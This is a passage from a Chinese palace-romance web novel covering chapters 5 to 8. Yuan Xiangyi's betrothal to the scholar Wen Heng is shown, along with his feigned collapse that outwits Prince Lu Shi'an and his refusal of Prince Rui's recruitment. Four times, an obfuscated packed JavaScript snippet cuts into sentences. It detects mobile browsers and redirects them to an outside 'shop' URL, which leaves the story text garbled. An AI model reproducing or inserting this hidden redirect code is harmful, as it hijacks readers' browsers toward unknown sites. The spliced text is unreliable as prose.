元向依见明德帝已经答允,目光毫不掩饰地流露出惊喜,而温衡只是和她相视一笑,与她一并再次叩首:“谢圣上恩典!” 又叙了些闲话,明德帝才摆摆手让两人下去,唤掌事太监叶钦进来添茶。 沸水冲入茶盏,原本卷曲的茶叶便层层舒展开来。明德帝盯着水中沉浮的茶叶,突然开口问道:“温家小子与元氏女的这桩婚事,你怎么看?” 叶钦自小是跟在明德帝身边贴身服侍的,最会揣度帝王心思,此刻觑着明德帝的神色,赔笑道:“世子虽然是个爱胡闹的,元小将军却不是,想来确实是情投意合。” 明德帝听了,只得无奈道:“罢了,元氏女原本是朕私心想许给安儿的王妃,既然已有婚约,朕再另寻良配就是。” * 元向依没想到,温衡为了与她成婚,竟会主动提出降职,不然只怕明德帝也没有那么容易答应。 两人并肩而行,元向依心中觉得有所亏欠,踌躇再三才开口:“抱歉,以你新科状元的身份,原本可以选择外放,封个从五品的官职,如今只能委屈你在翰林院担个从六品的修撰,可惜了。” 温衡淡淡道:“不妨事,我原本也打算长居京中,翰林院的文职清闲,想必正适合我。” 他一脸无谓的样子,仿佛对此真的毫不在意。元向依原本准备了一堆安慰的话,看来是用不上了。反倒是他,三言两语就宽慰了她内心的歉疚。 她想起温衡方才对明德帝所言,问道:“听温公子提起少时,可是之前认得我?” 温衡只是一笑。收起了在宫城内的小心谨慎后,他的笑容变得明朗起来,为那张恹恹的病容,增添了几分难得的生动。 “元姑娘,你我已是未婚夫妻,称呼不必如此生分,你叫我温衡就好。至于我对圣上所言……姑娘不如问问自己,幼时可曾见过我?” 元向依盯着他的脸,缓缓摇了摇头,下意识移开了视线。他这张脸堪称绝色,不能多看,若是看得多了,只怕会深陷其中。 说话间,两人已到宫城门口,温衡停下脚步:“不过都是托辞罢了,姑娘不必放在心上。” 元向依见温衡无意与她同路,不禁问道:“你要去往何处,我可以捎你一程,或者将马借给你骑也是可以的。” 她听闻放榜当日,新科状元都要簪花游街,策马盛京,接受百姓的注目与歆羡,那是多少读书人终其一生所追求的风流,多少官员午夜梦回时难以忘怀的荣光。 温衡却只是摇摇头:“骑马游春不适合我。若姑娘实在心中过意不去,一定要补偿我一二,不如考虑答应我一个请求。” “什么请求?” “明日是上巳节,我初来盛京,听说上林苑春色正好,想请姑娘做个向导。” 这是邀她同游的意思了。按照规矩,他二人虽已定下婚约,但婚前不宜过多见面。不过温衡刚刚帮了她一个大忙,她若连此等微末小事都推拒,也显得太不近人情了。 何况有温衡在,即使遇上了陆时安,也不能把她怎么样。 于是她欣然应允,温衡才道:“我还有些私事,姑娘可先行离开,明日辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114487|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时三刻,上林苑见。” 他说话声音很轻,却又好像夹杂着对明日的期许,让她不忍失约。 元向依跃上马去,也回了一句:“明日见。”这才纵马扬鞭,径直往宫外去了。 骑出一段距离,她仿佛有所感应,蓦然回首,便看见温衡仍立在原地,望着她远去的背影。 她是习武之人,目力极好,可以清晰地看见他飘飞的衣袂,和微微上扬的嘴角。 那样浓烈真挚的目光,看得她心头一跳,速度更快了些,几乎是落荒而逃。 等元向依的身影再也看不见了,温衡回身迅速走向御街的另一个方向。他脚步轻快而有力,不见半点病弱的样子。 到了宫城角门处,早有人在焦急等待。 “小侯爷,属下已恭候多时……”看见温衡脸上的神色后,松柏的表情变得古怪起来。 温衡摸着自己的脸,充满疑惑:“怎么了?我脸上有东西?” 见松柏支支吾吾,温衡挥了挥手:“说,不扣你这个月的月钱。” 松柏小心翼翼道:“您从方才进来开始,就一直在傻笑。” “嗯?我有么?”等到在松柏眼里看到了肯定,温衡才承认了这个事实:“那又怎样?人逢喜事精神爽!说了你也不懂。” 松柏道:“是是是,属下虽然不懂,但可以理解小侯爷历时十三年终于圆梦的激动心情。可这御赐的琼林宴您快要迟了,去还是不去啊?” 温衡从袖中取出一封信笺递了过去:“自然要去。我抽不开身,你把这封信送到钦天监去,确保交到监正季允手上,他看了自然懂得。” “若是你送晚了一时半刻,耽误了本世子迎娶夫人过门,你后面几个月的月钱就都别想要了。” “可您刚刚才答应过……” “我答应不扣你这个月的月钱,没说不扣下个月的。” “……属下这就去办!” * 元向依在回去的路上,脑海中电光火石般闪过一个念头——钦天监一般提前半年遴选婚期,也就是说,吉日最快也要定在半年后。 半个月她都等不了,何况半年? 想到这里,她调转马头,向钦天监方向而去。 钦天监监正季允,是个如霜如雪的清冷美人,总是拒人千里的他,在朝中自然也没什么朋友,如此才能一心一意为圣上观天象、定历法。 可就是这样一位冷冰冰的官员,今日竟然有人主动上门造访,实在是令人感到稀奇。 因着被打扰的缘故,季允从堆满公文的桌案前起身来迎时,面色实在说不上友善。朝中人尽皆知,季监正姿容皎皎,独步盛京。可在元向依看来,还是温衡更胜一筹。 一个是苍山负雪,一个是晔若春华。 她虽然是女儿家,但毕竟是武将,还是单刀直入地说了自己的想法——将婚期尽量提前,越快越好。 季允的表情毫无波澜,却轻轻点了下头:“受人之托,自当忠人之事,我会尽力。” 这、这就同意了?元向依觉得自己今日运气格外地好,不仅天降夫婿,求来了赐婚的圣旨,就连这个一向冷酷无情的监正,也是意外地好说话。 于是她感激地说道:“多谢季监正,往后若有用得上的地方,在下自当略效绵薄之力。” 季允不置可否,待元向依走后,才从书案上的层层公文下,抽出一份看似毫不起眼的信笺。那信笺的落款,署着一个龙飞凤舞的“温”字。 “见过急的,没见过这么急的。” 5. 踏青 松柏从季允身后的暗室走了出来,脸上赔着笑意:“季监正,我家小侯爷一辈子就这一次,急些也是正常的,您别见怪。” 季允骨节分明的手指捻住信笺一角,在烛火上点燃,看着火舌慢慢将它吞没,在他手中化成灰烬。 “他急,我不奇怪。只是这新妇也急着出嫁,还是第一次见。” 松柏道:“属下不敢揣度夫人的想法。但夫人与小侯爷既然如此默契,想到一处,那只能说是天生一对。婚姻大事,仍需天意成全,拜托季监正了。” 季允抬头望向穹顶。钦天监主殿由初代监正设计制造,穹顶仿照夜空,上列星宿排布,以一百八十三颗皓石代替星辰,以便于观测推演。 他凝视穹顶片刻便收回了目光,提笔蘸墨在年历上画了个圈,才道:“告诉你家主子,我会想办法向圣上禀明,三月后的六月初八,正是宜嫁娶的良辰吉日。” “不过,若是下次他胆敢再称呼我是算命的,就休怪我翻脸无情了。” * 元向依悄悄将马牵入马厩,刚刚把它拴好,就有人冷不丁从身后叫她:“小姐,你一大早跑到哪里去了!让奴婢好找。” 她回过身,就看见小桃一双亮晶晶的眼睛看着她,额头上都覆着一层细汗,显然是才跑过来。 眼下并不是坦白的好时机。元向依早有准备,一边用袖子为她擦汗,一边扯谎道:“晨起无事,去了巡防营操练松松筋骨。” 元家所统率的虎贲军久居边关,盛京防务由特设的巡防营负责,宫城则归羽林卫管辖。巡防营统领原是她爹的同袍,她此番说辞也不奇怪。 小桃则为她突然的亲昵举动受宠若惊,说话都结结巴巴:“小、小姐,您对奴婢太好了……” 趁小桃还没回过神来,元向依继续嘱咐道:“明日我有约,需前往上林苑一趟,让府内备好马车。” 小桃听了也兴奋起来:“您答应赴凌小姐的约了?奴婢早就觉得,小姐既然病愈,出门多走走才能对身体更好呢!” 元向依也不点破,顺水推舟:“但我才恢复不久,若是抛头露面,怕是会引来许多不必要的关注。” 小桃道:“这有何难?我为小姐拿个幕篱就是。”说罢便欢欢喜喜地去张罗一应事宜了。 * 翌日,元向依描眉绾发,换上一副精致妆容。她平日里素净惯了,如今精心妆扮起来,也透出十分好颜色,半点不输京中贵女。 她一身雪白罗裙,幕篱后的容颜影影绰绰,如隔云端,看不真切。 在小桃搀扶下上了马车后,元向依就一直闭目养神,心中盘算着接下来的计划。 她接下来要去做一件大胆而危险的事——勾引陆时安。左右是避不过去的,不如依托自己重生的优势,主动打陆时安一个措手不及。 前世她与凌思语去上林苑踏春,却不小心走散。等她回过头时,竟只剩下自己一人留在原地,连小桃也不知道哪里去了。 恰在此时,有小厮过来寻她,言明是“贵人”相邀。这盛京城中,能在她面前称得上贵人的身份也不多,她明白其中关窍,便随了他去。 等到陆时安露了面,她本想谢过他的救命之恩后就离开,却没想到他率先一步,手指捏上了她的下颌。 好巧不巧,这一幕就被御史台那位年纪最大又最教条的江御史撞见,当场就给她扣了个勾引皇子的大不敬之罪。 上林苑当日人流如织,她百口莫辩,还是陆时安出来打圆场,宣称和她两情相悦,在此相会,才让后来的一系列赐婚操作水到渠成。 即使到了今天,她回想起当时场面,依然觉得心寒。只凭一面之词,便可以随意断送一个女子的一生。 如今她端庄持重,又有婚约在身,她倒要看看,这次江御史究竟会骂她私会外男,还是会骂陆时安恬不知耻。 鼻尖传来阵阵清冷梅香,仿佛置身梅园之中,是她特意吩咐小桃,在马车小几上搁了博山炉,好一路熏染周身香气。 马车缓缓停稳,她幽幽睁开眼睛。 白雪红梅,陆时安,希望你喜欢这份大礼。 若是速战速决,还来得及与温衡一起,真正地同游这上林风光。 * 支开小桃是一件很容易的事。元向依只推说落了个描金小手炉在马车上,小桃就忙不迭跑去拿了。如此也好,既然是冒险的事情,没必要牵扯许多人进来。 她特意立在前世那株梅树下,远远望去,她一身白衣,手执红梅,遗世而独立,正是入画好风景。 所幸有幕篱遮挡,她面上不用装出焦急而无措的神情,只需要安静立在那里。 同她所想的一样,没过多久身后便响起脚步声。还是一样的小厮,还是一样的“贵人相邀”的说辞。只是这一次,懵然无知的蝉却变成了窥伺在后的黄雀。 她面上不显,依言顺从地跟着走了,心里估着陆时安出现的时间。 不多时,她被引到一辆马车旁,马车低调而华贵,彰显着车内之人的身份。 以防万一,她和马车保持着一定距离,也是为了诱陆时安现身。 绣着金纹的蟒靴停在她面前,她缓缓抬头向上望去,果然看见了陆时安那张相看两厌的脸。 平心而论,虽然不能与温衡相比,陆时安生得也算俊美,只是那双眼睛里埋藏着诸多算计,看起来凉薄非常。 在权欲的腐蚀下,终有一天,他狼子野心的真面目将会暴露无遗。 但当下他还如翩翩公子一般,见她戴了幕篱,故意调侃道:“姑娘何不现身一见?” 元向依答道:“貌丑,怕入不得公子的眼。” 他倒是爱演,那她也不介意陪他一同演,毕竟离那位吹胡子瞪眼的江御史出场,可还有一段时间。 陆时安作势就要去撩那幕篱:“姑娘如此自谦,倒是更让人好奇了。” 元向依不动声色地后退一步,避开了他伸过来的手: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114488|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “美人如花隔云端,自是要取几分朦胧之意。您说是不是,殿下?” 既然被识破了身份,陆时安也不再装了,只是对她的兴趣依然未减:“本王从前怎的没发现,贞武将军竟是这般妙人?” 元向依心里想:因为你瞎。 既然预先知道她的身份,想必这一路上,也都有陆时安布下的眼线。 但这出戏还要继续演下去。她将手中红梅递予陆时安:“蒙殿下夸赞,无以为报,谨以此梅赠予殿下。” 红梅暗香浮动,撩人心弦。陆时安接过梅枝,她刚松了手,就见他欲用梅枝挑开幕篱,一睹她的真容。 她忍住将他揍飞的冲动,提醒自己谨记他皇子的身份,又向后退了一步。 陆时安眯起眼睛,欲擒故纵的女子他见得多了,可元向依这种性子飒爽的将门嫡女也玩这一套,倒让他觉得新鲜刺激。 何况,父皇早已属意她为自己的王妃,就是陪她玩玩也没什么。 元向依看时间差不多了,柔声道:“殿下请自重,臣女已有婚约。” 陆时安一愣,询问的话语就脱口而出:“婚约?和谁?” 仿佛是为了回答他的话,旁边伸出一只纤细洁白的手,毫不客气地扣住了陆时安的手腕,让他一时间动弹不得。元向依顺着那只手向上看去,意外地看见了温衡的脸。 温衡怎么在这里?她算着时间,特意和他约了晚些的时间,难道是他提前到了,正巧碰见这一幕? 她有心解释,却又不知从何说起。 温衡的脸上是她从未见过的阴恻神情,与他俊逸秀雅的面容格格不入。他盯着陆时安,忽然开口:“康王殿下,要对臣的未婚妻做什么?” 陆时安挣扎了两下,没能挣脱。温衡虽然脸色不佳,还是放了手。毕竟身份有别,他不能总是以下犯上。 陆时安活动了一下手腕,温衡虽然看起来文弱,实则力道不轻。他从未被如此对待过,一时有些恼火:“你是何人?” 温衡敛了敛衣裾,上前一步振衣下拜:“臣乃新进翰林院修撰温衡,见过康王殿下。” 从元向依的角度看去,温衡恰好挡住了陆时安的视线,她不由得松了一口气。 陆时安道:“如此面生,本王先前似乎从未见过,朝堂上有你这号人物。” 温衡不卑不亢,回道:“臣是新科进士出身,今日才蒙旨恩赐得官。” 原来只是个无权无势的学子,一个小小的从六品官,也敢在他面前造次? 陆时安大手一挥,意欲让温衡退下:“本王正在与贞武将军说话,轮得到你来指手画脚?” 他本是无心之举,衣袖拂过的瞬间,元向依就看着,温衡直挺挺地倒了下去。 她心中一惊,怕是温衡的旧疾又犯了,连忙上前接住了他,就见他嘴唇苍白,已经人事不省。 变故来得如此之快,陆时安也错愕不已:“他、他这是做什么?本王可没有伸手推他!” 6. 碰瓷 元向依急于查看温衡状况,表面看来他只是晕倒,但呼吸不匀,面色发白,看着实在不好。 她抬起头盯着陆时安,吐出的话语都透着一股凉意:“推与没推,殿下心中自然清楚。” 方才含羞带怯的美人,一瞬间就变了脸色,陆时安也是惊讶不已:“元小将军,你该不会打算为了区区一个书生,就开罪于本王吧?” 元向依冷笑一声,直接把话挑明:“虽然不过是区区书生,却的确是圣上恩准赐婚于臣女的夫君。” 这话说出来,温衡的眉头皱了皱,手上突然用力,紧紧地抓住了她的衣袖。 她低下头仔细端详,见温衡仍处在昏迷中,方才应当是下意识的动作。只是如此亲密的举动在旁人看来,仿佛他对她十分依恋。 瞧着她笃定的神情,陆时安大惊失色。怎么会!他先前一番谋划用心十足,即使出了些小小意外,也不该影响最后的结果才是。 何况,他不信父皇如此轻易就下了旨,对一个小官如此恩遇,可不是他父皇的风格。 元向依看他并不相信,又道:“赐婚的旨意今日已经由中书省下发。殿下若是不信,回去打听便知。” 恰在此时,一道苍老的声音响了起来:“殿下,您这是做什么!当众殴打朝廷命官,岂是皇子应为?” 元向依这才想起,她一直在等待的那位江御史,该是时候出场了。 陆时安心道不好,没想到这老头子早不来晚不来,偏偏这会到了。 为了今日之局,他早早便打听好这江御史喜爱梅花高洁,来上林苑必会途经此处,这才早早在此等候,还把元向依事先“请”了过来,只等时机一到好戏开场。届时他再出面随意敷衍几句,便是卖了一个天大的人情。 可方才他光顾着与元向依说话,倒把这事抛到了脑后,竟也没人过来通报一声。 他阴冷的目光扫过身边下属,众人心虚不已,无人敢与他对视,都纷纷低下头去。 元向依这便宜夫君出现的时机正巧,让他很难不怀疑,自己是反过来着了他们的道。 眼下最棘手的麻烦,便是解决这江御史。此人三朝元老,德高望重,深得圣上信任,性格又极其古板,朝中上至皇子公主,下到九品芝麻官,无人不怕被他参上一本。 如果被这老头子在父皇面前参上一本,那可是大大不妙。 想到这里,陆时安主动迎上前去,意欲搀扶江御史的左臂:“什么风把您老吹过来了?” 江御史丝毫不给面子,不悦地避开了他,开始吹胡子瞪眼:“若是我不来,怎么有幸见识到康王殿下如此放肆之举呢?” 陆时安忙不迭地解释:“您误会了,方才本王正与这位……这位大人和元将军叙话,没成想他突然就自己晕倒了,实在是不干本王的事啊!” 江御史扭头看向元向依,她微微摇了摇头。 江御史将手中的拐杖杵着地面,敲得咚咚作响,一脸恨铁不成钢的样子:“殿下!老朽虽然年纪大了,可眼睛还没花!何况元将军也可以作证。温大人今早散朝前明明还身体康健,万万不会突然晕倒。” “您听我解释……” “殿下,您的太傅曾是我多年至交好友,若他泉下有知,殿下成为了敢做不敢当的人,怕是会不得安息啊!” “我没有……” “圣上对您寄予厚望,若是您还是不肯承认,那便只有去圣上面前,当面分辩一番!” 没想到江御史的战斗力,还是一如既往的强。 他的声音并不算小,短短时间就引来众人围观,窃窃私语的声音越来越多。 元向依冷眼看着,心里十分快意:陆时安,被人误解、百口莫辩的感觉如何?搬起石头砸了自己的脚,感觉又如何? 陆时安身份地位再高,也难堵这悠悠众口,何况即使他想解释,也没有人会去听了。 思量一番后,他还是开口认错:“本王知错,向温大人赔个不是,请元将军代为转达。” 温衡靠在她的臂弯里蹭了蹭,口中发出无意识的呢喃。 元向依冷漠地点了下头,似乎无心追究:“既然此间事了,臣女先行告退。” 她扶起温衡向外走去,步子虽慢却稳。幸亏她是武将,不似寻常闺阁女子一般柔弱,温衡又身子单薄,不然还真没那么容易。 走了没几步,就见小桃跌跌撞撞跑了过来,和她一同过来的,还有一位身姿挺拔,如松如竹的黑衣青年。 小桃到她面前的同时,那黑衣青年从她手中接过温衡,一脸焦急地轻晃着他:“大人!大人你怎么了!” 元向依见他这样,便知道是温衡的随从,急忙道:“你家大人晕倒了,快送回去请大夫。” 松柏走出两步又返了回来,犹豫着说道:“元将军……可否暂借您马车一用?” 在元向依询问的目光中,他连说话都有些支支吾吾:“大人他……大老远走路过来的,说是雇我已经很费钱了,其余开支他要节省下来,给您准备彩礼。” 元向依觉得面上有些发烫,所幸有幕篱遮掩,旁人也无从得见。她咬了咬嘴唇,做了决定:“那就一起上车吧。” * 小桃和松柏坐在外面驾车也不得安生。小桃盯着他半晌才开口:“你是谁?你家大人又是谁?为什么认识我们小姐?还有刚才你说的彩礼,到底是怎么回事?” 松柏漫不经心地看她一眼:“你问题这么多,打算让我先回答哪一个?” 小桃固执道:“那你就挨个回答。” “那你听好了,我叫松柏,我家大人名唤温衡,出仕翰林院修撰一职。至于和你家小姐如何结识……我也不瞒你,你附耳过来,我偷偷告诉你。” 小桃依言附耳过去,松柏继续道:“是我家大人看榜时,被你家小姐捉了去,直接就入宫请圣上赐婚了,你说这情节刺不刺激?” 小桃却并不意外:“我当是什么事,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114489|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种事一听就是我家小姐做得出来的,也不奇怪。要怪就怪你家大人那张脸好了,何况他既然没有推拒赐婚,想必心里也是愿意的。” 一番话说得松柏哑口无言,半晌才道:“你倒是看得开。” 元向依在马车内,外面动静听得一清二楚。她叹了口气,摘了幕篱,去看身边的温衡。 马车内空间十分宽敞,即使温衡躺着也并不显拥挤。他安静睡着的时候,睫毛如一片鸦羽覆下,整个人都显得无比乖巧。 还未成婚就如此多病……只希望大婚当日他不要出什么岔子才好。 她正出神想着,感觉有人正在看着自己。一低头,温衡不知何时已经睁开了眼,正一瞬不瞬地注视着她。 见他醒了,元向依便道:“温大人,现下我们已经在回程的路上了,晚些时候我让松柏请个大夫,过来给你看看。” 温衡道:“老毛病了,不妨事,吃两剂药就好了。” 元向依却格外坚持:“讳疾忌医最不可行。我们在外征战的时候,遇到各种突发情况,因为不遵医嘱丢了性命,也是有的。” 温衡微微一笑:“那我听你的,反正来日方长,往后也都要听你的。” 他的目光仍在她脸上流连,不愿离开:“你今天……似乎和平时不太一样?” 当然不一样,元向依心想,她特意精心打扮,不过托了温衡的福,没有用上。 真奇怪,好像所有棘手的事情,只要有他在,就都能迎刃而解,不需要她费半点力气。 也许,温衡真是她的福星也说不定。 她存了逗他的心思,故意道:“当然是为了与你同游,可既然你身体不适,那我们便改日再去罢。” 温衡招招手,示意她过来些,她怕他有话要说,想着他没有力气,没有多想就贴近了他。 他虚虚抬手,将她垂落在耳边的发丝撩到耳后,轻声道:“很好看。” 她的呼吸就乱了,明明是她主动去逗温衡,怎么好像反过来被他撩到了? 她将身子挪回原位,刻意解释道:“上林苑景色自然好看,往后年年也会如今年一般,你若想去可以再去,没什么好可惜的。” * 圣上赐给温衡的庭院在城东,离将军府并不算近,却很合元向依的心意。 倒不是说她不想念父兄,而是她突然成婚,父兄必定不同意,届时可能会有诸多冲突,还是离得远些为妙。 何况就她大哥那个混不吝的性子,指不定怎么爬墙头盯着她呢,搞不好再给温衡来上一拳。她还年轻,就算是守活寡,也不想落个克夫的恶名啊。 虽然是三进三出的院子,但设施简朴,别无长物,非常符合温衡一贯的风格。 元向依让松柏将他扶了进去,自己到底还是不好进男子卧房,想了想还是倚栏站着。 趁着安顿温衡的时间,松柏悄声道:“小侯爷这一招实在是高啊,论起碰瓷来,那还是得看您出马。” 7. 邀约 温衡看了一眼门外的元向依,确认她不会听到,才重重拍了松柏一下,低声道:“什么碰瓷?这叫计策!” 想到上林苑那时,陆时安难看的脸色,他不禁冷笑:“他陆时安如何设局,我便如何破局,以其人之道还治其人之身罢了。” 松柏道:“小侯爷,好歹您现在的身份也是从六品的新科状元,就这样在大庭广众之下晕倒了,也不怕传出去丢人?” 温衡瘫在床上,一脸无谓的样子:“那又如何?夫人的面子最最重要,只要达到了目的,让陆时安不能欺侮于她,我怎么样都无所谓。” “……您还是有点所谓吧,夫人命我去给您请大夫来,您可仔细着别露了馅。” 温衡从怀里摸出一个小小瓷瓶,倒出一粒药丸丢进嘴里:“无妨,论起用药,一般大夫还不是我的对手。” 他闭目须臾,面上的病气又深了一层。 松柏看着他的样子,不禁感叹:“小侯爷,您可真是受苦了。” 温衡眼皮都不抬,对他道:“我受苦不算什么,但我问你,有依依在场的时候,能不能不要总是上赶着来扶我?” 松柏“嘿嘿”干笑了两声:“属下懂了,现在就去请大夫,不打扰小侯爷和夫人了。”说罢就一溜烟跑了,速度可谓极快。 元向依以为他是确实担心温衡的身体,只皱了皱眉,没有说话。 现在温衡已经安顿好,松柏也去请大夫,那她和小桃是不是就可以回去了? 她这样想着,正不知该如何开口,就听温衡在房内,轻轻叫着她的名字。 她踌躇片刻,还是跨过门槛,进了房内。 房内同样萦绕着与他身上一模一样的清苦药香,只有一张床,一张桌子和一方读书用的案几,多余的一概没有。 她心想,届时反正要搬过来,不如给他也添置些物件,反正她也不缺这些。 温衡侧过身来看她,长长的墨发披散开来,光滑如绸。 他不加掩饰地盯着她,终于等到她忍不住开口:“那个……我先走了,不打扰你休息。” 温衡的眼睛湿漉漉的,像是雨天路边淋湿的小狗。 “我不想一个人。你留下来,就陪我待一会儿好吗?” 无论看他的脸多少次,她都只能轻易缴械投降。于是她长叹一声,在距离他不远的桌边坐下:“需要我做些什么?” 温衡道:“或许……讲个故事?你经常出征边关,也许有很多我没听过的奇闻异事,可以说与我听。” 其实他不过是想了解她的过去和她的一切,来弥补这么多年不在她身边的缺憾。 终于,在元向依绘声绘色地讲到雪狼王的故事时,松柏带了个大夫匆匆进了房。 元向依自觉起身,退了出去,那大夫看见房内有个女子,虽然有些诧异,却也不敢多话,而是忙着给温衡诊脉。 搭脉一阵后,那大夫也不言语,温衡和松柏也沉得住气,还是元向依忍不住问道:“大夫,情况如何?” 那大夫道:“没有大碍,只是脉象虚浮,需要好好养着,近些日子需卧床静养,就不要出门了。我开个方子,照这方子煎药试试看。” 元向依听了便松了口气,道声:“有劳。”等松柏送了大夫出去,她又对温衡说:“我家药材存货颇多,你若是需要用到,可以遣松柏到将军府拿。” 温衡点了点头,不舍地目送她离开。 * 回府的路上,元向依对小桃叮嘱再三,虽说那赐婚圣旨在盛京已是人尽皆知,但父兄想必还不知情,万万不可在家信中提及,避免父兄回京时出现意外。 因上林苑一事,江御史还是不轻不重地参了陆时安一本,圣上听了果然发怒,将他禁足半月,在府内抄写策论,无事不得外出。这也就意味着,元向依可以得半个月的清闲,不用时刻提防陆时安作妖。 只是赐婚一事也果然传了开去,而第一个上门来问的,就是怒气冲冲的凌思语。 凌思语毫不手软地捏着她的脸颊,忿忿道:“依依,我们从小到大的交情,你竟然不先告诉我?” 元向依干脆装傻:“我告诉过你了,你记不记得,这榜下捉婿的主意还是你给我出的?” 凌思语认真回忆了一下,似乎确实有这么回事。 但她还是心中不满:“你怎么就挑中了一个从六品小官?须知以你的出身地位,就是去做王妃也不是没有可能,他如何配得上你?” 元向依将食指竖在唇边:“慎言。我可不想做什么王妃,去入那似海的宫门。” “何况……你若是见了他,自然懂得。” 凌思语露出夸张的表情:“他容貌十分出众,对不对!既然你都如此说了,那我肯定要去看看。但我听闻他身子弱不禁风,甚至晕倒在上林苑,可是真的?” 元向依有些尴尬,只得承认:“确有其事。” 凌思语道:“那就更要让我去看看了,我的医术你是知道的,说不定能帮上忙。” 元向依点了点她的额头:“说什么傻话,我带你过去,像什么样子?你要是有多余的心思也不必只关注我,不如用在我大哥身上。” 在凌思语红了脸的同时,元向依恍惚中想起,大哥似乎很快就要入京,若是他回来了,还是不见温衡为妙,不然她可不敢保证会发生什么。 她正想着要不要私下去探望温衡一面,同他言明此事,小桃就走了过来,递了书信到她手里,说是松柏跑腿送过来的,言明他家大人特地吩咐,要送到元将军手上。 她带着疑惑拆开信封,从中滑落出一张花笺。花笺上清瘦遒劲的字迹,正是出于温衡之手。 “花神祭当日,欲请姑娘往花神庙一叙,余已大好,不必挂怀。子瑜。” 凌思语拾起看了看,赞道:“都说字如其人,看这字还是不错的,那你要不要去?” 元向依将信笺收好,对小桃道:“你去回了松柏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114490|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就说请温公子辰时在花神庙稍待,我会准时赴约。” * 翌日,元向依换上天水碧的齐胸襦裙,裙摆以极细的丝线绣了繁多的杏花,步履轻移间,似有层层花海迤逦铺开。 为了应和花神祭的风俗,小桃为她梳了个垂发分肖髻,在发间缀以星点花钿后,额间饰以杏花妆,越发显得整个人鲜妍明媚。 今日难得没有不速之客,她也不必戴着幕篱,只扶着小桃的手上了马车,向花神庙方向而去。 待马车稳稳停下,元向依挑起帘子,只见花神庙门口摩肩接踵,人头攒动,庙对面搭建的气派戏台上,优伶正演绎着花神的故事,咿咿呀呀唱着曲儿。 而庙门正对的香炉中插着数支孩童手臂粗细的香和无数细香,足以得见其香火鼎盛之况,再往前走,是一间大殿并三间配殿,依月序分别供奉着十二花神。 她下了马车,四处张望着,试图在人群中寻找温衡,终于在一个角落里发现了他的身影。 可他却没有在原地等待,而是正和几个人说着什么,随后便被他们带走了。 虽说他并没有反抗,当然也可能是根本无力反抗,元向依还是放心不下,让小桃在原地等候,自己悄悄跟了上去。 可她没有发现的是,她的身后也有人偷偷探出头来,正是女扮男装的凌思语。 元向依尾随那群人,却发现他们将温衡带进了天水阁。 天水阁乃是盛京城中数一数二的酒楼,听闻背后有贵人支持,这才能在偌大的京城中经营得风生水起。 她走进天水阁,看似随意地问那跑堂的小二:“方才进来一位俊逸公子,身旁拥着一群人的,现下是在何处?” 小二面露难色:“这……” 元向依摸出一锭银子,在他面前晃了晃,他便说了:“二楼雅间今日有贵客相候。” 既然知道了温衡在哪里,剩下的就是挨个房间找过去。凭借自己的身手,她没有惊扰任何人,终于在一间雅间外,听见了熟悉的声音。 “睿王殿下今日请臣来此,想必不是为的喝茶谈心吧?” 睿王?睿王怎会找上温衡? 她透过虚掩的门缝偷偷看去,上座的人眉眼深邃凌厉,一身暗色滚金袍尊贵无匹,正是睿王。 睿王抿了一口茶,又将茶杯轻轻放下:“既然温大人如此直白,那本王也就开门见山。上林苑一事,想必大人已开罪康王,前途不会平坦。可本王却认为大人是个可造之材,不如投效本王,为澧朝大业尽一份力。” 元向依皱起了眉,自两位皇子成年,便一直为储君之位斗得不可开交。所以睿王是认为,温衡得罪了康王,而有意拉拢他到自己麾下。 他虽然持身中正,但毕竟是贫寒出身,若是泼天富贵摆在眼前,他是否能够坚守本心、不涉党争呢? 正在此时,温衡却开口了:“殿下怕是高看臣了。臣对仕途并不强求,毕生所愿,唯得一人为妻而已。” 8. 花神 这话从温衡口中说出来,有一股缠绵悱恻的意味。 得一人为妻,是指她吗? 温衡继续补充道:“眼下臣已蒙圣上赐婚,别无他求,还请睿王殿下见谅。” 无视睿王难看的脸色,他自然地起身准备离开:“茶凉了,臣就不打扰了,殿下自便。” 